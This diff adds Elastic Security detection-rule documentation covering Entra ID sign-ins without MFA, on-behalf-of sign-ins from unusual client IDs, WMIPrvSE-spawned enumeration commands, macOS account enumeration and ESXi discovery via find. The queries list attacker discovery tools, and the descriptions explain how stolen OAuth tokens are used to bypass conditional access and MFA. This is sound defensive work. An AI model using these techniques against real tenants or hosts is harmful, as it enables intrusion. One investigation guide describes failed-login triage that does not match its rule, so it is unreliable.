ensure early detection of potential attacks. +- Regularly rotate client credentials and secrets for applications using non-interactive authentication to reduce the risk of credential theft. + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: "azure.signinlogs" and event.category: "authentication" + and azure.signinlogs.properties.user_type: "Member" + and azure.signinlogs.properties.authentication_details.authentication_method: "Password" + and not azure.signinlogs.properties.device_detail.browser: * + and not source.as.organization.name: "MICROSOFT-CORP-MSN-AS-BLOCK" + and not azure.signinlogs.properties.authentication_requirement: "multiFactorAuthentication" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Brute Force +** ID: T1110 +** Reference URL: https://attack.mitre.org/techniques/T1110/ +* Sub-technique: +** Name: Password Spraying +** ID: T1110.003 +** Reference URL: https://attack.mitre.org/techniques/T1110/003/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Multi-Factor Authentication +** ID: T1556.006 +** Reference URL: https://attack.mitre.org/techniques/T1556/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-user-sign-in-with-unusual-client.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-user-sign-in-with-unusual-client.asciidoc new file mode 100644 index 0000000000..4523ebe6b7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-user-sign-in-with-unusual-client.asciidoc @@ -0,0 +1,180 @@ +[[prebuilt-rule-8-19-20-entra-id-user-sign-in-with-unusual-client]] +=== Entra ID User Sign-in with Unusual Client + +Detects rare non-interactive sign-ins where an Entra ID client application authenticates on behalf of a principal user using an application (client) ID that is not commonly associated with that user’s historical sign-in behavior. Adversaries with stolen credentials or OAuth tokens may abuse Entra ID–managed or first-party client IDs to perform on-behalf-of (OBO) authentication, blending into legitimate cloud traffic while avoiding traditional interactive sign-in flows. This technique is commonly observed in OAuth phishing, token theft, and access broker operations, and may precede lateral movement, persistence, or data access via Microsoft Graph or other cloud resources. The rule uses a New Terms approach to identify first-seen combinations of the UPN and Client ID within a defined history window, helping surface unexpected client usage that may indicate compromised identities, malicious automation, or unauthorized application impersonation. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-azure.signinlogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://securityscorecard.com/wp-content/uploads/2025/02/MassiveBotnet-Report_022125_03.pdf + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Entra ID +* Data Source: Entra ID Sign-in +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Tactic: Initial Access +* Resources: Investigation Guide + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID User Sign-in with Unusual Client* + + +This rule identifies rare Azure Entra apps IDs requesting authentication on-behalf-of a principal user. An adversary with stolen credentials may specify an Azure-managed app ID to authenticate on-behalf-of a user. This is a rare event and may indicate an attempt to bypass conditional access policies (CAP) and multi-factor authentication (MFA) requirements. The app ID specified may not be commonly used by the user based on their historical sign-in activity. + + +*Possible investigation steps* + + +- Identify the source IP address from which the failed login attempts originated by reviewing `source.ip`. Determine if the IP is associated with known malicious activity using threat intelligence sources or if it belongs to a corporate VPN, proxy, or automation process. +- Analyze affected user accounts by reviewing `azure.signinlogs.properties.user_principal_name` to determine if they belong to privileged roles or high-value users. Look for patterns indicating multiple failed attempts across different users, which could suggest a password spraying attempt. +- Examine the authentication method used in `azure.signinlogs.properties.authentication_details` to identify which authentication protocols were attempted and why they failed. Legacy authentication methods may be more susceptible to brute-force attacks. +- Review the authentication error codes found in `azure.signinlogs.properties.status.error_code` to understand why the login attempts failed. Common errors include `50126` for invalid credentials, `50053` for account lockouts, `50055` for expired passwords, and `50056` for users without a password. +- Correlate failed logins with other sign-in activity by looking at `event.outcome`. Identify if there were any successful logins from the same user shortly after multiple failures or if there are different geolocations or device fingerprints associated with the same account. +- Review `azure.signinlogs.properties.app_id` to identify which applications were initiating the authentication attempts. Determine if these applications are Microsoft-owned, third-party, or custom applications and if they are authorized to access the resources. +- Check for any conditional access policies that may have been triggered by the failed login attempts by reviewing `azure.signinlogs.properties.authentication_requirement`. This can help identify if the failed attempts were due to policy enforcement or misconfiguration. + + +*False positive analysis* + + +- Automated scripts or applications using non-interactive authentication may trigger this detection, particularly if they rely on legacy authentication protocols recorded in `azure.signinlogs.properties.authentication_protocol`. +- Corporate proxies or VPNs may cause multiple users to authenticate from the same IP, appearing as repeated failed attempts under `source.ip`. +- User account lockouts from forgotten passwords or misconfigured applications may show multiple authentication failures in `azure.signinlogs.properties.status.error_code`. +- Exclude known trusted IPs, such as corporate infrastructure, from alerts by filtering `source.ip`. +- Exclude known custom applications from `azure.signinlogs.properties.app_id` that are authorized to use non-interactive authentication. +- Ignore principals with a history of failed logins due to legitimate reasons, such as expired passwords or account lockouts, by filtering `azure.signinlogs.properties.user_principal_name`. +- Correlate sign-in failures with password reset events or normal user behavior before triggering an alert. + + +*Response and remediation* + + +- Block the source IP address in `source.ip` if determined to be malicious. +- Reset passwords for all affected user accounts listed in `azure.signinlogs.properties.user_principal_name` and enforce stronger password policies. +- Ensure basic authentication is disabled for all applications using legacy authentication protocols listed in `azure.signinlogs.properties.authentication_protocol`. +- Enable multi-factor authentication (MFA) for impacted accounts to mitigate credential-based attacks. +- Review conditional access policies to ensure they are correctly configured to block unauthorized access attempts recorded in `azure.signinlogs.properties.authentication_requirement`. +- Review Conditional Access policies to enforce risk-based authentication and block unauthorized access attempts recorded in `azure.signinlogs.properties.authentication_requirement`. +- Implement a zero-trust security model by enforcing least privilege access and continuous authentication. +- Regularly review and update conditional access policies to ensure they are effective against evolving threats. +- Restrict the use of legacy authentication protocols by disabling authentication methods listed in `azure.signinlogs.properties.client_app_used`. +- Regularly audit authentication logs in `azure.signinlogs` to detect abnormal login behavior and ensure early detection of potential attacks. +- Regularly rotate client credentials and secrets for applications using non-interactive authentication to reduce the risk of credential theft. + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: "azure.signinlogs" and event.category: "authentication" + and azure.signinlogs.properties.is_interactive: false + and azure.signinlogs.properties.user_type: "Member" + and not azure.signinlogs.properties.client_app_used: "Browser" + and not source.as.organization.name: "MICROSOFT-CORP-MSN-AS-BLOCK" + and not azure.signinlogs.properties.app_id: ( + "1b3c667f-cde3-4090-b60b-3d2abd0117f0" or + "26a7ee05-5602-4d76-a7ba-eae8b7b67941" or + "4b0964e4-58f1-47f4-a552-e2e1fc56dcd7" or + "ecd6b820-32c2-49b6-98a6-444530e5a77a" or + "268761a2-03f3-40df-8a8b-c3db24145b6b" or + "fc0f3af4-6835-4174-b806-f7db311fd2f3" or + "de50c81f-5f80-4771-b66b-cebd28ccdfc1" or + "ab9b8c07-8f02-4f72-87fa-80105867a763" or + "6f7e0f60-9401-4f5b-98e2-cf15bd5fd5e3" or + "d7b530a4-7680-4c23-a8bf-c52c121d2e87" or + "52c2e0b5-c7b6-4d11-a89c-21e42bcec444" or + "38aa3b87-a06d-4817-b275-7a316988d93b" or + "27922004-5251-4030-b22d-91ecd9a37ea4" or + "9ba1a5c7-f17a-4de9-a1f1-6178c8d51223" or + "cab96880-db5b-4e15-90a7-f3f1d62ffe39" or + "3a4d129e-7f50-4e0d-a7fd-033add0a29f4" or + "29d9ed98-a469-4536-ade2-f981bc1d605e" or + "c0ab8ce9-e9a0-42e7-b064-33d422df41f1" or + "9ea1ad79-fdb6-4f9a-8bc3-2b70f96e34c7" or + "4813382a-8fa7-425e-ab75-3b753aab3abb" or + "08e18876-6177-487e-b8b5-cf950c1e598c" or + "0ec893e0-5785-4de6-99da-4ed124e5296c" or + "d3590ed6-52b3-4102-aeff-aad2292ab01c" or + "0dc2408a-bbc0-4238-871e-13b372f0200f" or + "4813382a-8fa7-425e-ab75-3b753aab3abb" or + "af124e86-4e96-495a-b70a-90f90ab96707" or + "e9c51622-460d-4d3d-952d-966a5b1da34c" or + "ecd6b820-32c2-49b6-98a6-444530e5a77a" or + "f44b1140-bc5e-48c6-8dc0-5cf5a53c0e34" or + "e2ef5054-0287-4db6-afa3-013d96881fd3" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal Application Access Token +** ID: T1528 +** Reference URL: https://attack.mitre.org/techniques/T1528/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-enumeration-command-spawned-via-wmiprvse.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-enumeration-command-spawned-via-wmiprvse.asciidoc new file mode 100644 index 0000000000..94292078b8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-enumeration-command-spawned-via-wmiprvse.asciidoc @@ -0,0 +1,187 @@ +[[prebuilt-rule-8-19-20-enumeration-command-spawned-via-wmiprvse]] +=== Enumeration Command Spawned via WMIPrvSE + +Identifies native Windows host and network enumeration commands spawned by the Windows Management Instrumentation Provider Service (WMIPrvSE). + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender for Endpoint +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 319 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Enumeration Command Spawned via WMIPrvSE* + + +Windows Management Instrumentation (WMI) is a powerful framework for managing data and operations on Windows systems. Adversaries exploit WMI to execute enumeration commands stealthily, leveraging the WMI Provider Service (WMIPrvSE) to gather system and network information. The detection rule identifies suspicious command executions initiated by WMIPrvSE, focusing on common enumeration tools while excluding benign use cases, thus highlighting potential malicious activity. + + +*Possible investigation steps* + + +- Review the process command line details to understand the specific enumeration command executed and its arguments, focusing on the process.command_line field. +- Investigate the parent process to confirm it is indeed WMIPrvSE by examining the process.parent.name field, ensuring the execution context aligns with potential misuse of WMI. +- Check the user context under which the process was executed to determine if it aligns with expected administrative activity or if it suggests unauthorized access. +- Correlate the event with other logs or alerts from the same host to identify any preceding or subsequent suspicious activities, such as lateral movement or privilege escalation attempts. +- Assess the network activity from the host around the time of the alert to identify any unusual outbound connections or data exfiltration attempts. +- Verify if the process execution is part of a known and legitimate administrative task or script by consulting with system administrators or reviewing change management records. + + +*False positive analysis* + + +- Routine administrative tasks using WMI may trigger the rule, such as network configuration checks or system diagnostics. To manage this, identify and exclude specific command patterns or arguments that are part of regular maintenance. +- Security tools like Tenable may use WMI for legitimate scans, which can be mistaken for malicious activity. Exclude processes with arguments related to known security tools, such as "tenable_mw_scan". +- Automated scripts or scheduled tasks that perform system enumeration for inventory or monitoring purposes can cause false positives. Review and whitelist these scripts by excluding their specific command lines or parent processes. +- Certain enterprise applications may use WMI for legitimate operations, such as querying system information. Identify these applications and create exceptions based on their process names or command line arguments. +- Regular use of network utilities by IT staff for troubleshooting can be flagged. Implement exclusions for known IT user accounts or specific command line patterns used during these activities. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious processes identified as being spawned by WMIPrvSE, especially those matching the enumeration tools listed in the detection query. +- Conduct a thorough review of recent WMI activity on the affected system to identify any additional unauthorized or suspicious commands executed. +- Reset credentials for any accounts that may have been compromised or used in the suspicious activity to prevent further unauthorized access. +- Restore the system from a known good backup if any malicious activity is confirmed and cannot be remediated through other means. +- Implement additional monitoring on the affected system and network to detect any recurrence of similar suspicious activities. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if the threat has spread to other systems. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and process.command_line != null and + process.name: + ( + "arp.exe", "dsquery.exe", "dsget.exe", "gpresult.exe", "hostname.exe", "ipconfig.exe", "nbtstat.exe", + "net.exe", "net1.exe", "netsh.exe", "netstat.exe", "nltest.exe", "ping.exe", "qprocess.exe", "quser.exe", + "qwinsta.exe", "reg.exe", "sc.exe", "systeminfo.exe", "tasklist.exe", "tracert.exe", "whoami.exe" + ) and + process.parent.name:"wmiprvse.exe" and + not ( + process.name : "sc.exe" and process.args : "RemoteRegistry" and process.args : "start=" and + process.args : ("demand", "disabled") + ) and + not process.args : "tenable_mw_scan" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Windows Management Instrumentation +** ID: T1047 +** Reference URL: https://attack.mitre.org/techniques/T1047/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Service Discovery +** ID: T1007 +** Reference URL: https://attack.mitre.org/techniques/T1007/ +* Technique: +** Name: Query Registry +** ID: T1012 +** Reference URL: https://attack.mitre.org/techniques/T1012/ +* Technique: +** Name: System Network Configuration Discovery +** ID: T1016 +** Reference URL: https://attack.mitre.org/techniques/T1016/ +* Sub-technique: +** Name: Internet Connection Discovery +** ID: T1016.001 +** Reference URL: https://attack.mitre.org/techniques/T1016/001/ +* Technique: +** Name: Remote System Discovery +** ID: T1018 +** Reference URL: https://attack.mitre.org/techniques/T1018/ +* Technique: +** Name: System Owner/User Discovery +** ID: T1033 +** Reference URL: https://attack.mitre.org/techniques/T1033/ +* Technique: +** Name: System Network Connections Discovery +** ID: T1049 +** Reference URL: https://attack.mitre.org/techniques/T1049/ +* Technique: +** Name: Process Discovery +** ID: T1057 +** Reference URL: https://attack.mitre.org/techniques/T1057/ +* Technique: +** Name: System Information Discovery +** ID: T1082 +** Reference URL: https://attack.mitre.org/techniques/T1082/ +* Technique: +** Name: Account Discovery +** ID: T1087 +** Reference URL: https://attack.mitre.org/techniques/T1087/ +* Technique: +** Name: Software Discovery +** ID: T1518 +** Reference URL: https://attack.mitre.org/techniques/T1518/ +* Technique: +** Name: Group Policy Discovery +** ID: T1615 +** Reference URL: https://attack.mitre.org/techniques/T1615/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-enumeration-of-users-or-groups-via-built-in-commands.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-enumeration-of-users-or-groups-via-built-in-commands.asciidoc new file mode 100644 index 0000000000..4ab7de2ccc --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-enumeration-of-users-or-groups-via-built-in-commands.asciidoc @@ -0,0 +1,175 @@ +[[prebuilt-rule-8-19-20-enumeration-of-users-or-groups-via-built-in-commands]] +=== Enumeration of Users or Groups via Built-in Commands + +Identifies the execution of macOS built-in commands related to account or group enumeration. Adversaries may use account and group information to orient themselves before deciding how to act. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Discovery +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 213 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Enumeration of Users or Groups via Built-in Commands* + + +Built-in macOS commands like `ldapsearch`, `dsmemberutil`, and `dscl` are essential for managing and querying user and group information. Adversaries exploit these to gather insights into system accounts and groups, aiding in lateral movement or privilege escalation. The detection rule identifies suspicious use of these commands, especially when executed from non-standard parent processes, excluding known legitimate applications, to flag potential misuse. + + +*Possible investigation steps* + + +- Review the process details to identify the specific command executed, focusing on the process name and arguments, such as "ldapsearch", "dsmemberutil", or "dscl" with specific arguments like "read", "list", or "search". +- Examine the parent process information, including the executable path and name, to determine if the command was launched from a non-standard or suspicious parent process. +- Check the exclusion list of known legitimate applications to ensure the alert was not triggered by a benign process, such as those from QualysCloudAgent, Kaspersky, or ESET. +- Investigate the user account associated with the process execution to determine if it aligns with expected behavior or if it indicates potential compromise or misuse. +- Correlate the event with other logs or alerts to identify any patterns of suspicious activity, such as repeated enumeration attempts or other discovery tactics. +- Assess the system's recent activity for signs of lateral movement or privilege escalation attempts that may follow the enumeration of users or groups. + + +*False positive analysis* + + +- Security and management tools like QualysCloudAgent, Kaspersky Anti-Virus, and ESET Endpoint Security may trigger false positives due to their legitimate use of built-in commands for system monitoring. To mitigate this, add these applications to the exclusion list in the detection rule. +- Development environments such as Xcode might execute these commands during normal operations. If Xcode is frequently triggering alerts, consider excluding its executable path from the rule. +- VPN and network management applications like NordVPN and Zscaler may use these commands for network configuration and user management. Exclude these applications if they are known to be safe and frequently used in your environment. +- Parallels Desktop and similar virtualization software might access user and group information as part of their functionality. If these applications are trusted, add their executable paths to the exclusion list. +- Regular administrative tasks performed by IT personnel using NoMAD or similar tools can also cause false positives. Ensure these tools are excluded if they are part of routine operations. + + +*Response and remediation* + + +- Immediately isolate the affected macOS system from the network to prevent potential lateral movement by the adversary. +- Terminate any suspicious processes identified by the detection rule, specifically those involving `ldapsearch`, `dsmemberutil`, or `dscl` commands executed from non-standard parent processes. +- Conduct a thorough review of user and group accounts on the affected system to identify any unauthorized changes or additions, and revert any suspicious modifications. +- Reset passwords for all user accounts on the affected system, prioritizing those with administrative privileges, to mitigate potential unauthorized access. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems have been compromised. +- Implement additional monitoring on the affected system and network to detect any further unauthorized enumeration attempts or related suspicious activities. +- Review and update endpoint security configurations to ensure that legitimate applications are properly whitelisted and that unauthorized applications are blocked from executing enumeration commands. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "macos" and event.type in ("start", "process_started") and + ( + process.name in ("ldapsearch", "dsmemberutil") or + (process.name == "dscl" and + process.args in ("read", "-read", "list", "-list", "ls", "search", "-search") and + process.args like ("/Active Directory/*", "/Users*", "/Groups*")) + ) and + ((process.Ext.effective_parent.executable like "/Volumes/*" or process.parent.executable like "/Volumes/*") or + (process.Ext.effective_parent.name : ".*" or process.parent.name : ".*") or + (process.parent.code_signature.trusted == false or process.parent.code_signature.exists == false)) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Permission Groups Discovery +** ID: T1069 +** Reference URL: https://attack.mitre.org/techniques/T1069/ +* Sub-technique: +** Name: Local Groups +** ID: T1069.001 +** Reference URL: https://attack.mitre.org/techniques/T1069/001/ +* Sub-technique: +** Name: Domain Groups +** ID: T1069.002 +** Reference URL: https://attack.mitre.org/techniques/T1069/002/ +* Technique: +** Name: Account Discovery +** ID: T1087 +** Reference URL: https://attack.mitre.org/techniques/T1087/ +* Sub-technique: +** Name: Local Account +** ID: T1087.001 +** Reference URL: https://attack.mitre.org/techniques/T1087/001/ +* Sub-technique: +** Name: Domain Account +** ID: T1087.002 +** Reference URL: https://attack.mitre.org/techniques/T1087/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-esxi-discovery-via-find.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-esxi-discovery-via-find.asciidoc new file mode 100644 index 0000000000..eb193b3970 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-esxi-discovery-via-find.asciidoc @@ -0,0 +1,163 @@ +[[prebuilt-rule-8-19-20-esxi-discovery-via-find]] +=== ESXI Discovery via Find + +Identifies instances where the 'find' command is started on a Linux system with arguments targeting specific VM-related paths, such as "/etc/vmware/", "/usr/lib/vmware/", or "/vmfs/*". These paths are associated with VMware virtualization software, and their presence in the find command arguments may indicate that a threat actor is attempting to search for, analyze, or manipulate VM-related files and configurations on the system. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-auditd_manager.auditd-* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.bleepingcomputer.com/news/security/massive-esxiargs-ransomware-attack-targets-vmware-esxi-servers-worldwide/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Discovery +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Auditd Manager +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 113 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating ESXI Discovery via Find* + + +VMware ESXi is a hypervisor used to deploy and manage virtual machines. Adversaries may exploit the 'find' command on Linux systems to locate VM-related files, potentially to gather information or manipulate configurations. The detection rule identifies suspicious 'find' command executions targeting VMware paths, excluding legitimate processes, to flag potential reconnaissance activities. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the 'find' command was executed with arguments targeting VMware paths such as "/etc/vmware/*", "/usr/lib/vmware/*", or "/vmfs/*". +- Check the parent process of the 'find' command to ensure it is not "/usr/lib/vmware/viewagent/bin/uninstall_viewagent.sh", which is excluded from the rule as a legitimate process. +- Investigate the user account associated with the 'find' command execution to determine if it is a known and authorized user for VMware management tasks. +- Examine recent login and access logs for the user account to identify any unusual or unauthorized access patterns. +- Correlate this event with other security alerts or logs to identify if there are additional signs of reconnaissance or unauthorized activity on the system. +- Assess the system's current state and configuration to ensure no unauthorized changes have been made to VMware-related files or settings. + + +*False positive analysis* + + +- Legitimate administrative tasks may trigger the rule if system administrators use the 'find' command to audit or manage VMware-related files. To handle this, create exceptions for known administrative scripts or user accounts that regularly perform these tasks. +- Automated backup or monitoring scripts that scan VMware directories can also cause false positives. Identify these scripts and exclude their parent processes from the detection rule. +- Software updates or maintenance activities involving VMware components might execute the 'find' command in a non-threatening manner. Consider scheduling these activities during known maintenance windows and temporarily adjusting the rule to prevent unnecessary alerts. +- If the 'find' command is part of a legitimate software installation or uninstallation process, such as the VMware View Agent uninstallation, ensure these processes are whitelisted by adding their parent executable paths to the exception list. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious 'find' processes identified in the alert to halt potential reconnaissance activities. +- Conduct a thorough review of the system's recent command history and logs to identify any unauthorized access or changes made to VM-related files. +- Restore any altered or deleted VM-related files from a known good backup to ensure system integrity. +- Update and patch the VMware ESXi and related software to the latest versions to mitigate any known vulnerabilities. +- Implement stricter access controls and monitoring on VMware-related directories to prevent unauthorized access in the future. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "executed", "process_started", "ProcessRollup2") and +process.name == "find" and process.args like ("/etc/vmware/*", "/usr/lib/vmware/*", "/vmfs/*") and +not ?process.parent.executable == "/usr/lib/vmware/viewagent/bin/uninstall_viewagent.sh" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: File and Directory Discovery +** ID: T1083 +** Reference URL: https://attack.mitre.org/techniques/T1083/ +* Technique: +** Name: Software Discovery +** ID: T1518 +** Reference URL: https://attack.mitre.org/techniques/T1518/ 